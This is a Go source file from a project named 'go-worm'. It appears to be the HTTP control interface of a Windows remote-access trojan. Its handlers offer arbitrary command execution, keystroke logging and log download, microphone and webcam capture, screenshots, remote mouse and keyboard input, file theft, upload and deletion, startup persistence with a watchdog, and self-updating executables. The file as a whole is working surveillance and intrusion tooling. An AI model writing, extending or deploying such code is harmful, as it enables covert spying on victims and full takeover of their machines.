package agent import ( "context" "encoding/json" "errors" "io" "mime" "net/http" "os" "path/filepath" "runtime" "strconv" "strings" "time" "tea.chunkbyte.com/kato/go-worm/lib/capture" "tea.chunkbyte.com/kato/go-worm/lib/command" "tea.chunkbyte.com/kato/go-worm/lib/config" "tea.chunkbyte.com/kato/go-worm/lib/files" "tea.chunkbyte.com/kato/go-worm/lib/helpers" "tea.chunkbyte.com/kato/go-worm/lib/input" "tea.chunkbyte.com/kato/go-worm/lib/keylog" "tea.chunkbyte.com/kato/go-worm/lib/mic" "tea.chunkbyte.com/kato/go-worm/lib/models" "tea.chunkbyte.com/kato/go-worm/lib/openapi" "tea.chunkbyte.com/kato/go-worm/lib/screenshot" "tea.chunkbyte.com/kato/go-worm/lib/startup" "tea.chunkbyte.com/kato/go-worm/lib/update" "tea.chunkbyte.com/kato/go-worm/lib/webcam" ) func (a *Agent) handleHealth(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodGet { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") return } helpers.WriteJSON(w, http.StatusOK, map[string]string{"status": "ok"}) } func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodGet { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") return } helpers.WriteJSON(w, http.StatusOK, openapi.Spec()) } func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodGet { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") return } host, _ := os.Hostname() helpers.WriteJSON(w, http.StatusOK, map[string]any{ "os": "windows", "architecture": runtime.GOARCH, "user": helpers.Username(), "hostname": host, "uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(), "agent_version": config.Version, "listen_address": a.addr, "startup_enabled": startup.Enabled(), "watchdog_enabled": startup.WatchdogEnabled(), "klogging": keylog.Running(), }) } func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) { switch r.Method { case http.MethodPost: if err := startup.Enable(); err != nil { helpers.Log.Printf("startup enable: %v", err) helpers.WriteError(w, http.StatusInternalServerError, err.Error()) return } case http.MethodDelete: if err := startup.Disable(); err != nil { helpers.Log.Printf("startup disable: %v", err) helpers.WriteError(w, http.StatusInternalServerError, err.Error()) return } default: helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") return } helpers.WriteJSON(w, http.StatusOK, persistState()) } func (a *Agent) handleWatchdog(w http.ResponseWriter, r *http.Request) { switch r.Method { case http.MethodPost: if err := startup.EnableWatchdog(); err != nil { helpers.Log.Printf("watchdog enable: %v", err) helpers.WriteError(w, http.StatusInternalServerError, err.Error()) return } case http.MethodDelete: if err := startup.DisableWatchdog(); err != nil { helpers.Log.Printf("watchdog disable: %v", err) helpers.WriteError(w, http.StatusInternalServerError, err.Error()) return } default: helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") return } helpers.WriteJSON(w, http.StatusOK, persistState()) } func persistState() map[string]any { return map[string]any{ "startup_enabled": startup.Enabled(), "watchdog_enabled": startup.WatchdogEnabled(), } } func (a *Agent) handleSettings(w http.ResponseWriter, r *http.Request) { switch r.Method { case http.MethodGet: helpers.WriteJSON(w, http.StatusOK, map[string]any{ "klogging": config.KeylogEnabled(), "klogging_running": keylog.Running(), }) case http.MethodPut: r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax) defer r.Body.Close() var body struct { Klogging *bool `json:"klogging"` } if err := json.NewDecoder(r.Body).Decode(&body); err != nil || body.Klogging == nil { helpers.WriteError(w, http.StatusBadRequest, "klogging is required") return } if err := keylog.SetEnabled(*body.Klogging); err != nil { helpers.Log.Printf("klogging set: %v", err) helpers.WriteError(w, http.StatusInternalServerError, "could not update klogging") return } helpers.WriteJSON(w, http.StatusOK, map[string]any{ "klogging": config.KeylogEnabled(), "klogging_running": keylog.Running(), }) default: helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") return } } func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) { switch r.Method { case http.MethodGet: a.listFiles(w, r) case http.MethodDelete: a.deleteFile(w, r) default: helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") } } func (a *Agent) listFiles(w http.ResponseWriter, r *http.Request) { depth, err := files.ParseDepth(r.URL.Query().Get("depth")) if err != nil { helpers.WriteError(w, http.StatusBadRequest, err.Error()) return } path := r.URL.Query().Get("path") if path == "" { path, _ = os.UserHomeDir() } dir, err := files.AllowedPath(a.root, path, true) if err != nil { files.WritePathError(w, err) return } info, err := os.Stat(dir) if err != nil { files.WritePathError(w, err) return } if !info.IsDir() { helpers.WriteError(w, http.StatusBadRequest, "path is not a directory") return } entries, err := files.ListDirectory(dir, depth) if err != nil { files.WritePathError(w, err) return } helpers.WriteJSON(w, http.StatusOK, map[string]any{"path": dir, "depth": depth, "entries": entries}) } func (a *Agent) deleteFile(w http.ResponseWriter, r *http.Request) { path := r.URL.Query().Get("path") if path == "" { helpers.WriteError(w, http.StatusBadRequest, "path is required") return } if err := files.RemovePath(a.root, path); err != nil { files.WritePathError(w, err) return } helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "path": path}) } func (a *Agent) handleZipFolder(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodGet { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") return } path := r.URL.Query().Get("path") if path == "" { helpers.WriteError(w, http.StatusBadRequest, "path is required") return } dir, err := files.AllowedPath(a.root, path, true) if err != nil { files.WritePathError(w, err) return } info, err := os.Stat(dir) if err != nil { files.WritePathError(w, err) return } if !info.IsDir() { helpers.WriteError(w, http.StatusBadRequest, "path is not a directory") return } zipPath, err := files.ZipDirectory(dir, config.MaxUploadSize) if err != nil { switch { case errors.Is(err, files.ErrZipTooLarge): helpers.WriteError(w, http.StatusRequestEntityTooLarge, err.Error()) default: helpers.Log.Printf("zip folder: %v", err) files.WritePathError(w, err) } return } defer os.Remove(zipPath) f, err := os.Open(zipPath) if err != nil { helpers.Log.Printf("zip open: %v", err) helpers.WriteError(w, http.StatusInternalServerError, "could not read archive") return } defer f.Close() zipInfo, err := f.Stat() if err != nil { helpers.WriteError(w, http.StatusInternalServerError, "could not read archive") return } name := files.ZipArchiveName(dir) w.Header().Set("Content-Type", "application/zip") w.Header().Set("Content-Disposition", `attachment; filename="`+strings.ReplaceAll(name, `"`, "'")+`"`) http.ServeContent(w, r, name, zipInfo.ModTime(), f) } func (a *Agent) handleDownload(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodGet { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") return } path := r.URL.Query().Get("path") if path == "" { helpers.WriteError(w, http.StatusBadRequest, "path is required") return } file, err := files.AllowedPath(a.root, path, true) if err != nil { files.WritePathError(w, err) return } f, err := os.Open(file) if err != nil { files.WritePathError(w, err) return } defer f.Close() info, err := f.Stat() if err != nil { files.WritePathError(w, err) return } if info.IsDir() { helpers.WriteError(w, http.StatusBadRequest, "path is a directory") return } name := filepath.Base(file) contentType := mime.TypeByExtension(filepath.Ext(name)) if contentType == "" { var sample [512]byte n, _ := f.Read(sample[:]) contentType = http.DetectContentType(sample[:n]) _, _ = f.Seek(0, io.SeekStart) } w.Header().Set("Content-Type", contentType) disp := "attachment" if r.URL.Query().Get("inline") == "1" { disp = "inline" } w.Header().Set("Content-Disposition", disp+`; filename="`+strings.ReplaceAll(name, `"`, "'")+`"`) w.Header().Set("Accept-Ranges", "bytes") http.ServeContent(w, r, name, info.ModTime(), f) } func (a *Agent) handleUpload(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") return } r.Body = http.MaxBytesReader(w, r.Body, config.MaxUploadSize) if err := r.ParseMultipartForm(config.MaxUploadSize); err != nil { helpers.WriteError(w, http.StatusBadRequest, "upload body is too large or invalid") return } dir := strings.TrimSpace(r.FormValue("path")) if dir == "" { helpers.WriteError(w, http.StatusBadRequest, "path is required") return } upload, header, err := r.FormFile("file") if err != nil { helpers.WriteError(w, http.StatusBadRequest, "file is required") return } defer upload.Close() target, err := files.UploadTarget(a.root, dir, header.Filename) if err != nil { switch { case errors.Is(err, files.ErrBadUploadName): helpers.WriteError(w, http.StatusBadRequest, err.Error()) default: files.WritePathError(w, err) } return } out, err := os.OpenFile(target, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o644) if err != nil { files.WritePathError(w, err) return } written, err := io.Copy(out, upload) closeErr := out.Close() if err != nil { helpers.Log.Printf("upload: %v", err) helpers.WriteError(w, http.StatusInternalServerError, "could not save file") return } if closeErr != nil { helpers.Log.Printf("upload close: %v", closeErr) helpers.WriteError(w, http.StatusInternalServerError, "could not save file") return } helpers.WriteJSON(w, http.StatusOK, map[string]any{ "ok": true, "path": target, "size": written, "name": filepath.Base(target), }) } func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodGet { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") return } format := strings.ToLower(strings.TrimSpace(r.URL.Query().Get("format"))) if format == "" { format = "png" } if format != "png" && format != "jpeg" { helpers.WriteError(w, http.StatusBadRequest, "format must be png or jpeg") return } quality := 80 if raw := r.URL.Query().Get("quality"); raw != "" { var err error quality, err = strconv.Atoi(raw) if err != nil || quality < 1 || quality > config.MaxImageQuality { helpers.WriteError(w, http.StatusBadRequest, "quality must be between 1 and 100") return } } monitor := 0 if raw := r.URL.Query().Get("monitor"); raw != "" { var err error monitor, err = strconv.Atoi(raw) if err != nil || monitor < 0 { helpers.WriteError(w, http.StatusBadRequest, "monitor must be 0 or greater") return } } frame, err := capture.CaptureMonitor(monitor, format, quality) if err != nil { if errors.Is(err, capture.ErrMonitorNotFound) { helpers.WriteError(w, http.StatusBadRequest, err.Error()) return } helpers.Log.Printf("screenshot: %v", err) helpers.WriteError(w, http.StatusServiceUnavailable, "no interactive desktop is available") return } w.Header().Set("Content-Type", frame.ContentType) w.Header().Set("Content-Length", strconv.Itoa(len(frame.Data))) w.Header().Set("X-Monitor-Left", strconv.Itoa(frame.Left)) w.Header().Set("X-Monitor-Top", strconv.Itoa(frame.Top)) w.Header().Set("X-Monitor-Width", strconv.Itoa(frame.Width)) w.Header().Set("X-Monitor-Height", strconv.Itoa(frame.Height)) _, _ = w.Write(frame.Data) } func parseMicDevice(r *http.Request) (int, error) { device := 0 if raw := r.URL.Query().Get("device"); raw != "" { var err error device, err = strconv.Atoi(raw) if err != nil || device < 0 { return 0, errors.New("device must be 0 or greater") } } return device, nil } func (a *Agent) handleMic(w http.ResponseWriter, r *http.Request) { switch r.Method { case http.MethodGet: devices, err := mic.List() if err != nil { helpers.Log.Printf("mic list: %v", err) helpers.WriteError(w, http.StatusServiceUnavailable, err.Error()) return } if devices == nil { devices = []mic.Device{} } helpers.WriteJSON(w, http.StatusOK, map[string]any{"devices": devices}) case http.MethodDelete: mic.Stop() w.WriteHeader(http.StatusNoContent) default: helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") } } func (a *Agent) handleMicChunk(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodGet { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") return } device, err := parseMicDevice(r) if err != nil { helpers.WriteError(w, http.StatusBadRequest, err.Error()) return } data, err := mic.Chunk(device) if errors.Is(err, mic.ErrNoAudio) { w.WriteHeader(http.StatusNoContent) return } if errors.Is(err, mic.ErrDeviceNotFound) { helpers.WriteError(w, http.StatusBadRequest, err.Error()) return } if err != nil { helpers.Log.Printf("mic chunk: %v", err) helpers.WriteError(w, http.StatusServiceUnavailable, err.Error()) return } w.Header().Set("Content-Type", "audio/wav") w.Header().Set("Content-Length", strconv.Itoa(len(data))) _, _ = w.Write(data) } func (a *Agent) handleMicRecord(w http.ResponseWriter, r *http.Request) { switch r.Method { case http.MethodPost: device, err := parseMicDevice(r) if err != nil { helpers.WriteError(w, http.StatusBadRequest, err.Error()) return } name, err := mic.StartRecord(device) if errors.Is(err, mic.ErrAlreadyRecording) { helpers.WriteError(w, http.StatusConflict, err.Error()) return } if errors.Is(err, mic.ErrDeviceNotFound) { helpers.WriteError(w, http.StatusBadRequest, err.Error()) return } if err != nil { helpers.Log.Printf("mic record start: %v", err) helpers.WriteError(w, http.StatusServiceUnavailable, err.Error()) return } helpers.WriteJSON(w, http.StatusOK, map[string]any{"file": name, "recording": true}) case http.MethodDelete: name, size, err := mic.StopRecord() if errors.Is(err, mic.ErrNotRecording) { helpers.WriteError(w, http.StatusBadRequest, err.Error()) return } if err != nil { helpers.Log.Printf("mic record stop: %v", err) helpers.WriteError(w, http.StatusInternalServerError, err.Error()) return } helpers.WriteJSON(w, http.StatusOK, map[string]any{"file": name, "size": size, "recording": false}) default: helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") } } func (a *Agent) handleMicRecordings(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodGet { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") return } files, err := mic.ListRecordings() if err != nil { helpers.Log.Printf("mic recordings list: %v", err) helpers.WriteError(w, http.StatusInternalServerError, "could not list recordings") return } dir, err := mic.Dir() if err != nil { helpers.Log.Printf("mic dir: %v", err) helpers.WriteError(w, http.StatusInternalServerError, "could not resolve mic directory") return } if files == nil { files = []mic.FileInfo{} } helpers.WriteJSON(w, http.StatusOK, map[string]any{"directory": dir, "files": files, "recording": mic.Recording()}) } func (a *Agent) handleMicDownload(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodGet { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") return } name := r.URL.Query().Get("file") if name == "" { helpers.WriteError(w, http.StatusBadRequest, "file is required") return } if !mic.ValidRecordingFilename(name) { helpers.WriteError(w, http.StatusBadRequest, "invalid recording file name") return } file, info, err := mic.OpenRecording(name) if err != nil { if errors.Is(err, os.ErrNotExist) { helpers.WriteError(w, http.StatusNotFound, "recording not found") return } if errors.Is(err, os.ErrInvalid) { helpers.WriteError(w, http.StatusBadRequest, "invalid recording file name") return } helpers.Log.Printf("mic download: %v", err) helpers.WriteError(w, http.StatusInternalServerError, "could not open recording") return } defer file.Close() w.Header().Set("Content-Type", "audio/wav") w.Header().Set("Content-Disposition", `attachment; filename="`+strings.ReplaceAll(filepath.Base(name), `"`, "'")+`"`) w.Header().Set("Accept-Ranges", "bytes") http.ServeContent(w, r, info.Name(), info.ModTime(), file) } func (a *Agent) handleWebcam(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodGet { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") return } devices, err := webcam.List() if err != nil { helpers.Log.Printf("webcam list: %v", err) helpers.WriteError(w, http.StatusServiceUnavailable, "webcam list failed") return } if devices == nil { devices = []webcam.Device{} } helpers.WriteJSON(w, http.StatusOK, map[string]any{"devices": devices}) } func (a *Agent) handleWebcamFrame(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodGet { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") return } format := strings.ToLower(strings.TrimSpace(r.URL.Query().Get("format"))) if format == "" { format = "jpeg" } if format != "png" && format != "jpeg" { helpers.WriteError(w, http.StatusBadRequest, "format must be png or jpeg") return } quality := 80 if raw := r.URL.Query().Get("quality"); raw != "" { var err error quality, err = strconv.Atoi(raw) if err != nil || quality < 1 || quality > config.MaxImageQuality { helpers.WriteError(w, http.StatusBadRequest, "quality must be between 1 and 100") return } } device := 0 if raw := r.URL.Query().Get("device"); raw != "" { var err error device, err = strconv.Atoi(raw) if err != nil || device < 0 { helpers.WriteError(w, http.StatusBadRequest, "device must be 0 or greater") return } } frame, err := webcam.Capture(device, format, quality) if err != nil { if errors.Is(err, webcam.ErrDeviceNotFound) { helpers.WriteError(w, http.StatusBadRequest, err.Error()) return } helpers.Log.Printf("webcam capture: %v", err) helpers.WriteError(w, http.StatusServiceUnavailable, "webcam capture failed") return } w.Header().Set("Content-Type", frame.ContentType) w.Header().Set("Content-Length", strconv.Itoa(len(frame.Data))) w.Header().Set("X-Webcam-Width", strconv.Itoa(frame.Width)) w.Header().Set("X-Webcam-Height", strconv.Itoa(frame.Height)) _, _ = w.Write(frame.Data) } func (a *Agent) handleClick(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") return } r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax) defer r.Body.Close() var request models.ClickRequest decoder := json.NewDecoder(r.Body) decoder.DisallowUnknownFields() if err := decoder.Decode(&request); err != nil { helpers.WriteError(w, http.StatusBadRequest, "body must contain click coordinates") return } left, top, width, height, err := screenshot.MonitorBounds(request.Monitor) if err != nil { if errors.Is(err, screenshot.ErrMonitorNotFound) { helpers.WriteError(w, http.StatusBadRequest, err.Error()) return } helpers.WriteError(w, http.StatusBadRequest, "monitor not found") return } if request.X < left || request.Y < top || request.X >= left+width || request.Y >= top+height { helpers.WriteError(w, http.StatusBadRequest, "click is outside the selected monitor") return } if err := input.Click(request.X, request.Y, request.Button); err != nil { if errors.Is(err, input.ErrBadButton) { helpers.WriteError(w, http.StatusBadRequest, err.Error()) return } helpers.Log.Printf("click: %v", err) helpers.WriteError(w, http.StatusInternalServerError, "could not click") return } helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "x": request.X, "y": request.Y}) } func (a *Agent) handleText(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") return } r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax) defer r.Body.Close() var request models.TextRequest decoder := json.NewDecoder(r.Body) decoder.DisallowUnknownFields() if err := decoder.Decode(&request); err != nil { helpers.WriteError(w, http.StatusBadRequest, "body must contain text") return } if request.Text == "" { helpers.WriteError(w, http.StatusBadRequest, input.ErrEmptyText.Error()) return } if len(request.Text) > config.MaxInputText { helpers.WriteError(w, http.StatusBadRequest, "text is too long") return } delayMs := config.DefaultKeyDelayMs if request.DelayMs != nil { delayMs = input.ResolveKeyDelay(*request.DelayMs) } if err := input.TypeText(request.Text, delayMs); err != nil { helpers.Log.Printf("text: %v", err) helpers.WriteError(w, http.StatusInternalServerError, "could not type text") return } helpers.WriteJSON(w, http.StatusOK, map[string]any{ "ok": true, "length": len(request.Text), "delay_ms": delayMs, }) } func (a *Agent) handleKey(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") return } r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax) defer r.Body.Close() var request models.KeyRequest decoder := json.NewDecoder(r.Body) decoder.DisallowUnknownFields() if err := decoder.Decode(&request); err != nil { helpers.WriteError(w, http.StatusBadRequest, "body must contain a key") return } if request.Key == "" { helpers.WriteError(w, http.StatusBadRequest, "key is required") return } action := strings.ToLower(strings.TrimSpace(request.Action)) if action == "" { action = "tap" } if action != "tap" && action != "down" && action != "up" { helpers.WriteError(w, http.StatusBadRequest, "action must be tap, down, or up") return } if err := input.PressKey(request.Key, action, request.Modifiers); err != nil { if errors.Is(err, input.ErrBadKey) { helpers.WriteError(w, http.StatusBadRequest, err.Error()) return } helpers.Log.Printf("key %q action=%s mods=%v: %v", request.Key, action, request.Modifiers, err) helpers.WriteError(w, http.StatusInternalServerError, "could not send key") return } helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "key": request.Key, "action": action}) } func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") return } r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax) defer r.Body.Close() var request models.ExecRequest decoder := json.NewDecoder(r.Body) decoder.DisallowUnknownFields() if err := decoder.Decode(&request); err != nil { helpers.WriteError(w, http.StatusBadRequest, "body must contain a command") return } cmdline := strings.TrimSpace(request.Command) if cmdline == "" { helpers.WriteError(w, http.StatusBadRequest, command.ErrEmptyCommand.Error()) return } timeout, err := command.ResolveTimeout(request.TimeoutSec) if err != nil { helpers.WriteError(w, http.StatusBadRequest, err.Error()) return } ctx, cancel := context.WithTimeout(r.Context(), timeout) defer cancel() result, err := command.Run(ctx, cmdline) if errors.Is(err, command.ErrTimeout) { helpers.WriteError(w, http.StatusGatewayTimeout, err.Error()) return } if err != nil { helpers.Log.Printf("exec: %v", err) helpers.WriteError(w, http.StatusInternalServerError, "could not run command") return } helpers.WriteJSON(w, http.StatusOK, result) } func (a *Agent) handleKeylog(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodGet { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") return } files, err := keylog.List() if err != nil { helpers.Log.Printf("keylog list: %v", err) helpers.WriteError(w, http.StatusInternalServerError, "could not list keystroke logs") return } dir, err := keylog.Dir() if err != nil { helpers.Log.Printf("keylog dir: %v", err) helpers.WriteError(w, http.StatusInternalServerError, "could not resolve keystroke log directory") return } if files == nil { files = []keylog.FileInfo{} } helpers.WriteJSON(w, http.StatusOK, map[string]any{"directory": dir, "files": files}) } func (a *Agent) handleKeylogDownload(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodGet { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") return } name := r.URL.Query().Get("file") if name == "" { helpers.WriteError(w, http.StatusBadRequest, "file is required") return } if !keylog.ValidLogFilename(name) { helpers.WriteError(w, http.StatusBadRequest, "invalid log file name") return } file, info, err := keylog.Open(name) if err != nil { if errors.Is(err, os.ErrNotExist) { helpers.WriteError(w, http.StatusNotFound, "log file not found") return } if errors.Is(err, os.ErrInvalid) { helpers.WriteError(w, http.StatusBadRequest, "invalid log file name") return } helpers.Log.Printf("keylog download: %v", err) helpers.WriteError(w, http.StatusInternalServerError, "could not open log file") return } defer file.Close() w.Header().Set("Content-Type", "text/plain; charset=utf-8") w.Header().Set("Content-Disposition", `attachment; filename="`+strings.ReplaceAll(filepath.Base(name), `"`, "'")+`"`) w.Header().Set("Accept-Ranges", "bytes") http.ServeContent(w, r, info.Name(), info.ModTime(), file) } func (a *Agent) handleUpdate(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") return } r.Body = http.MaxBytesReader(w, r.Body, config.MaxUploadSize) if err := r.ParseMultipartForm(config.MaxUploadSize); err != nil { helpers.WriteError(w, http.StatusBadRequest, "upload body is too large or invalid") return } upload, header, err := r.FormFile("file") if err != nil { helpers.WriteError(w, http.StatusBadRequest, "file is required") return } defer upload.Close() if !strings.EqualFold(filepath.Ext(header.Filename), ".exe") { helpers.WriteError(w, http.StatusBadRequest, "file must be a .exe") return } saved, nextAddr, err := update.Deploy(a.addr, upload) if err != nil { helpers.Log.Printf("update deploy: %v", err) if strings.Contains(err.Error(), "not available") { helpers.WriteError(w, http.StatusConflict, err.Error()) return } helpers.WriteError(w, http.StatusBadRequest, err.Error()) return } helpers.WriteJSON(w, http.StatusOK, map[string]any{ "ok": true, "path": saved, "listen_address": nextAddr, "previous_listen_address": a.addr, }) }